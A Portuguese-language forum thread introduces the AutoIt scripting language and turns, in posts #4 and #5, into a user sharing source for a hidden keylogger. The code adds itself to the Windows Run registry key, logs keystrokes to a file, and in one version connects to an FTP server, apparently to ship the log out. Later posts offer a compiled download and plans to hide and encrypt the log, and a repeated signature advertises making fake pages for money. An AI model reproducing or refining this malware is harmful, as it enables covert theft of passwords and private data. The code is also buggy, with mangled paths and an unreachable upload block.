Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

AutoIt

Collapse
X
Collapse
 
  • Page of 1
  • Filter
  • Tempo
  • Show
Clear All
new posts
Anterior template Avançar
  • Font Size
    #1

    AutoIt

    Olá a todos venho apresentar a vocÊs uma linguagem de programaçao nova:Autoit
    Esta linguagem serve basicamente para automatizar tarefas..mas pode ser usado para outras coisitas mais

    Eu uso esta linguagem para fazer bots simples em jogos.O autoit tem varios scripts prontos que vem junto com o programa.Eu estou trabalhando em um encriptador de dados(na ajuda ja vem um,mas quero melhorar),quando tiver pronto posto o codigo e o programa^^

    A programaçao em autoit e bem facil,mas como tem sempre alguem com dificuldade eu posto uma aula qualquer dia...
    Link do site: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Espero que tenha ajudado,se errei a area algum mod arruma por favor,qualquer critica ou erro me desculpem por ser o primeiro post
    Entre no forum para um debate e não para um Embate!
    Faço pages fake,só mandar mp & dinheiro que eu faço
    Similar Threads
    Tags: autoit
    • Top
  • Font Size
    #2
    boa mlk vlw por compartilhar voo da uma olhada
    sigpic
    • Top

    Comment

    • Font Size
      #3
      Its a nice little scripting language indeed...easy built-in Gui creator(Koda, comes with Scite)...small exe...you can make a rat with it etc...
      • Top

      Comment

      • Font Size
        #4
        Ai pessoal tenho um kl nao testado ainda em autoit
        Código:
        ;Seylogger by SH(SytemHacker)™
;Vini vindi vinci

#include<misc.au3>
#NotrayIcon
$dll=DllOpen("user32.dll")
$server = 'ftp.'
$username = ''
$pass = ''
$Open = _FTP_Open('MyFTP Control')
$Conn = _FTP_Connect($Open, $server, $username, $pass)

RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun", "dkcd", "REG_SZ", "C:keyC:\logger.exe")
FileCopy("keyC:\logger.exe","C:")
Filecopy ("C:\log.txt","C:Documents and Settings"& @username)
;--------------------------------------
while 1

	If _IsPressed(41,$dll)Then
		FileWrite ("C:\log.txt","a")
	EndIf
	While _IsPressed(41) = 1
	WEnd

	If _IsPressed (42,$dll)Then
		FileWrite("C:\log.txt","b")
	EndIf
	While _IsPressed(42) = 1
	WEnd

	If _IsPressed(43,$dll)Then
		FileWrite("C:\log.txt","c")
	EndIf
	While _IsPressed(43) = 1
	WEnd

	If _IsPressed(44,$dll)Then
		FileWrite("C:\log.txt","d")
	EndIf
	While _IsPressed(44) = 1
	WEnd

	If _IsPressed(45,$dll)Then
		FileWrite("C:\log.txt","e")
	EndIf
	While _IsPressed(45) = 1
	WEnd

	If _IsPressed(46,$dll)Then
		FileWrite("C:\log.txt","f")
	EndIf
	While _IsPressed(46) = 1
	WEnd

	If _IsPressed(47,$dll)Then
		FileWrite("C:\log.txt","g")
	EndIf
	While _IsPressed(47) = 1
	WEnd

	if _IsPressed(48,$dll)Then
		FileWrite("C:\log.txt","h")
	EndIf
	While _IsPressed(48) = 1
	WEnd

	If _IsPressed(49,$dll)Then
		FileWrite("C:\log.txt","i")
	EndIf
	While _IsPressed(49) = 1
	WEnd

	If _IsPressed("4a",$dll)Then
		FileWrite("C:\log.txt","j")
	EndIf
	While _IsPressed("4a") = 1
	WEnd

	If _IsPressed("4b",$dll)Then
		FileWrite("C:\log.txt","k")
	EndIf
	While _IsPressed("4b") = 1
	WEnd

	If _IsPressed("4c",$dll)Then
		FileWrite("C:\log.txt","l")
	EndIf
	While _IsPressed("4c") = 1
	WEnd

	If _IsPressed("4d",$dll)Then
		FileWrite("C:\log.txt","m")
	EndIf
	While _IsPressed("4d") = 1
	WEnd

	If _IsPressed("4e",$dll)Then
		FileWrite("C:\log.txt","n")
	EndIf
	While _IsPressed("4e") = 1
	WEnd

	If _IsPressed("4f",$dll)Then
		FileWrite("C:\log.txt","o")
	EndIf
	While _IsPressed("4f") = 1
	WEnd

	If _IsPressed(50,$dll)Then
		FileWrite("C:\log.txt","p")
	EndIf
	While _IsPressed(50) = 1
	WEnd

	If _IsPressed(51,$dll)Then
		FileWrite("C:\log.txt","q")
	EndIf
	While _IsPressed(51) = 1
	WEnd

	If _IsPressed(52,$dll)Then
		FileWrite("C:\log.txt","r")
	EndIf
	While _IsPressed(52) = 1
	WEnd

	If _IsPressed(53,$dll)Then
		FileWrite("C:\log.txt","s")
	EndIf
	While _IsPressed(53) = 1
	WEnd

	If _IsPressed(54,$dll)Then
		FileWrite("C:\log.txt","t")
	EndIf
	While _IsPressed(54) = 1
	WEnd

	If _IsPressed(55,$dll)Then
		FileWrite("C:\log.txt","u")
	EndIf
	While _IsPressed(55) = 1
	WEnd

	If _IsPressed(56,$dll)Then
		FileWrite("C:\log.txt","v")
	EndIf
	While _IsPressed(56) = 1
	WEnd

	If _IsPressed(57,$dll)Then
		FileWrite("C:\log.txt","w")
	EndIf
	While _IsPressed(57) = 1
	WEnd

	If _IsPressed(58,$dll)Then
		FileWrite("C:\log.txt","x")
	EndIf
	While _IsPressed(58) = 1
	WEnd

	If _IsPressed(59,$dll)Then
		FileWrite("C:\log.txt","y")
	EndIf
	While _IsPressed(59) = 1
	WEnd

	If _IsPressed("5a",$dll)Then
		FileWrite("C:\log.txt","z")
	EndIf
	While _IsPressed("5a") = 1
	WEnd

	If _IsPressed(56,$dll)Then
		FileWrite("C:\log.txt","v")
	EndIf
	While _IsPressed(56) = 1
	WEnd

	If _IsPressed(20,$dll)Then
		FileWrite("C:\log.txt","{SPACE}")
	EndIf
	While _IsPressed(20) = 1
	WEnd

	If _IsPressed(30,$dll)Then
		FileWrite("C:\log.txt","0")
	EndIf
	While _IsPressed(30) = 1
	WEnd

	If _IsPressed(31,$dll)Then
		FileWrite("C:\log.txt","1")
	EndIf
	While _IsPressed(31) = 1
	WEnd

	If _IsPressed(32,$dll)Then
		FileWrite("C:\log.txt","2")
	EndIf
	While _IsPressed(32) = 1
	WEnd

	If _IsPressed(33,$dll)Then
		FileWrite("C:\log.txt","3")
	EndIf
	While _IsPressed(33) = 1
	WEnd

	If _IsPressed(34,$dll)Then
		FileWrite("C:\log.txt","4")
	EndIf
	While _IsPressed(34) = 1
	WEnd

	If _IsPressed(35,$dll)Then
		FileWrite("C:\log.txt","5")
	EndIf
	While _IsPressed(35) = 1
	WEnd

	If _IsPressed(36,$dll)Then
		FileWrite("C:\log.txt","6")
	EndIf
	While _IsPressed(36) = 1
	WEnd

	If _IsPressed(37,$dll)Then
		FileWrite("C:\log.txt","7")
	EndIf
	While _IsPressed(37) = 1
	WEnd

	If _IsPressed(38,$dll)Then
		FileWrite("C:\log.txt","8")
	EndIf
	While _IsPressed(38) = 1
	WEnd

	If _IsPressed(39,$dll)Then
		FileWrite("C:\log.txt","9")
	EndIf
	While _IsPressed(39) = 1
	WEnd

WEnd
$size = FileGetSize("C:\log.txt")

	If $size > 1048576 Then
	$Open = _FTP_Open('KeyControl')
	$Conn = _FTP_Connect($Open, $server, $username, $pass)
	$s_localFile = 'C:\log.tx'
	$s_RemoteFile = 'log.txt'
	EndIf
        Se nao compilar amanha olho e arrumo direito ele

        Obrigado!
        Entre no forum para um debate e não para um Embate!
        Faço pages fake,só mandar mp & dinheiro que eu faço
        • Top

        Comment

        • Font Size
          #5
          Oi pessoal desculpem pelo double post..ta aki a versao 1.0 do meu keyloger
          Código:
          ;SHKeylogger by SH(SytemHacker)™
;Vini vindi vinci

#include<misc.au3>
$dll=DllOpen("user32.dll")
RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun", "dkcd", "REG_SZ", "C:keyC:\logger.exe")
FileCopy("keyC:\logger.exe","C:")
Filecopy ("C:\log.txt","C:Documents and Settings"& @username)
;--------------------------------------
while 1

	If _IsPressed(41,$dll)Then
		FileWrite ("C:\log.txt","a")
	EndIf
	While _IsPressed(41) = 1
	WEnd

	If _IsPressed (42,$dll)Then
		FileWrite("C:\log.txt","b")
	EndIf
	While _IsPressed(42) = 1
	WEnd

	If _IsPressed(43,$dll)Then
		FileWrite("C:\log.txt","c")
	EndIf
	While _IsPressed(43) = 1
	WEnd

	If _IsPressed(44,$dll)Then
		FileWrite("C:\log.txt","d")
	EndIf
	While _IsPressed(44) = 1
	WEnd

	If _IsPressed(45,$dll)Then
		FileWrite("C:\log.txt","e")
	EndIf
	While _IsPressed(45) = 1
	WEnd

	If _IsPressed(46,$dll)Then
		FileWrite("C:\log.txt","f")
	EndIf
	While _IsPressed(46) = 1
	WEnd

	If _IsPressed(47,$dll)Then
		FileWrite("C:\log.txt","g")
	EndIf
	While _IsPressed(47) = 1
	WEnd

	if _IsPressed(48,$dll)Then
		FileWrite("C:\log.txt","h")
	EndIf
	While _IsPressed(48) = 1
	WEnd

	If _IsPressed(49,$dll)Then
		FileWrite("C:\log.txt","i")
	EndIf
	While _IsPressed(49) = 1
	WEnd

	If _IsPressed("4a",$dll)Then
		FileWrite("C:\log.txt","j")
	EndIf
	While _IsPressed("4a") = 1
	WEnd

	If _IsPressed("4b",$dll)Then
		FileWrite("C:\log.txt","k")
	EndIf
	While _IsPressed("4b") = 1
	WEnd

	If _IsPressed("4c",$dll)Then
		FileWrite("C:\log.txt","l")
	EndIf
	While _IsPressed("4c") = 1
	WEnd

	If _IsPressed("4d",$dll)Then
		FileWrite("C:\log.txt","m")
	EndIf
	While _IsPressed("4d") = 1
	WEnd

	If _IsPressed("4e",$dll)Then
		FileWrite("C:\log.txt","n")
	EndIf
	While _IsPressed("4e") = 1
	WEnd

	If _IsPressed("4f",$dll)Then
		FileWrite("C:\log.txt","o")
	EndIf
	While _IsPressed("4f") = 1
	WEnd

	If _IsPressed(50,$dll)Then
		FileWrite("C:\log.txt","p")
	EndIf
	While _IsPressed(50) = 1
	WEnd

	If _IsPressed(51,$dll)Then
		FileWrite("C:\log.txt","q")
	EndIf
	While _IsPressed(51) = 1
	WEnd

	If _IsPressed(52,$dll)Then
		FileWrite("C:\log.txt","r")
	EndIf
	While _IsPressed(52) = 1
	WEnd

	If _IsPressed(53,$dll)Then
		FileWrite("C:\log.txt","s")
	EndIf
	While _IsPressed(53) = 1
	WEnd

	If _IsPressed(54,$dll)Then
		FileWrite("C:\log.txt","t")
	EndIf
	While _IsPressed(54) = 1
	WEnd

	If _IsPressed(55,$dll)Then
		FileWrite("C:\log.txt","u")
	EndIf
	While _IsPressed(55) = 1
	WEnd

	If _IsPressed(56,$dll)Then
		FileWrite("C:\log.txt","v")
	EndIf
	While _IsPressed(56) = 1
	WEnd

	If _IsPressed(57,$dll)Then
		FileWrite("C:\log.txt","w")
	EndIf
	While _IsPressed(57) = 1
	WEnd

	If _IsPressed(58,$dll)Then
		FileWrite("C:\log.txt","x")
	EndIf
	While _IsPressed(58) = 1
	WEnd

	If _IsPressed(59,$dll)Then
		FileWrite("C:\log.txt","y")
	EndIf
	While _IsPressed(59) = 1
	WEnd

	If _IsPressed("5a",$dll)Then
		FileWrite("C:\log.txt","z")
	EndIf
	While _IsPressed("5a") = 1
	WEnd

	If _IsPressed(56,$dll)Then
		FileWrite("C:\log.txt","v")
	EndIf
	While _IsPressed(56) = 1
	WEnd

	If _IsPressed(20,$dll)Then
		FileWrite("C:\log.txt","{SPACE}")
	EndIf
	While _IsPressed(20) = 1
	WEnd

	If _IsPressed(30,$dll)Then
		FileWrite("C:\log.txt","0")
	EndIf
	While _IsPressed(30) = 1
	WEnd

	If _IsPressed(31,$dll)Then
		FileWrite("C:\log.txt","1")
	EndIf
	While _IsPressed(31) = 1
	WEnd

	If _IsPressed(32,$dll)Then
		FileWrite("C:\log.txt","2")
	EndIf
	While _IsPressed(32) = 1
	WEnd

	If _IsPressed(33,$dll)Then
		FileWrite("C:\log.txt","3")
	EndIf
	While _IsPressed(33) = 1
	WEnd

	If _IsPressed(34,$dll)Then
		FileWrite("C:\log.txt","4")
	EndIf
	While _IsPressed(34) = 1
	WEnd

	If _IsPressed(35,$dll)Then
		FileWrite("C:\log.txt","5")
	EndIf
	While _IsPressed(35) = 1
	WEnd

	If _IsPressed(36,$dll)Then
		FileWrite("C:\log.txt","6")
	EndIf
	While _IsPressed(36) = 1
	WEnd

	If _IsPressed(37,$dll)Then
		FileWrite("C:\log.txt","7")
	EndIf
	While _IsPressed(37) = 1
	WEnd

	If _IsPressed(38,$dll)Then
		FileWrite("C:\log.txt","8")
	EndIf
	While _IsPressed(38) = 1
	WEnd

	If _IsPressed(39,$dll)Then
		FileWrite("C:\log.txt","9")
	EndIf
	While _IsPressed(39) = 1
	WEnd

WEnd
          Todo codado em autoit feito por eu..
          Melhorias para versao 1.4:
          -Envio por ftp
          -TENTAREI encriptar o log
          -deixar log invisivel no pc

          Espero que gostem e digam nao ao copiado
          Entre no forum para um debate e não para um Embate!
          Faço pages fake,só mandar mp & dinheiro que eu faço
          • Top

          Comment

          • Font Size
            #6
            mto bom mlk doido tu falou ki ia fazer isso e fez mermo
            vlw mano por compartilhar os seus projetos voo usar ele em
            sigpic
            • Top

            Comment

            • Font Size
              #7
              Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

              Ja compilado e pronto pa baixar
              Entre no forum para um debate e não para um Embate!
              Faço pages fake,só mandar mp & dinheiro que eu faço
              • Top

              Comment

              • Font Size
                #8
                AutoIt é muito bacana, já brinquei bastante com ele... Uma pena que só é disponível para Windows, e no website oficial os criadores já deixaram bem claro que não criarão nunca uma versão para Mac ou Linux, e agora que uso Linux praticamente não uso mais o AutoIt o que é uma pena pois o programa é muito bom.

                Mais um tópico que está na sessão errada, deveria ser criada uma seção chamada "Outros" para ser movida para lá apesar de que como você disponibilizou a source do seu KL o tópico ainda pode ficar por aqui mesmo.
                sigpic
                Eis que estou à porta, e bato; se alguém ouvir a minha voz, e abrir a porta,
                entrarei em sua casa, e com ele cearei, e ele comigo. (Apocalipse 3:20)

                https://twitter.com/jackads
                http://www.facebook.com/jackson.beneteferreira
                • Top

                Comment

                Anterior template Avançar
                X
                Working...
                X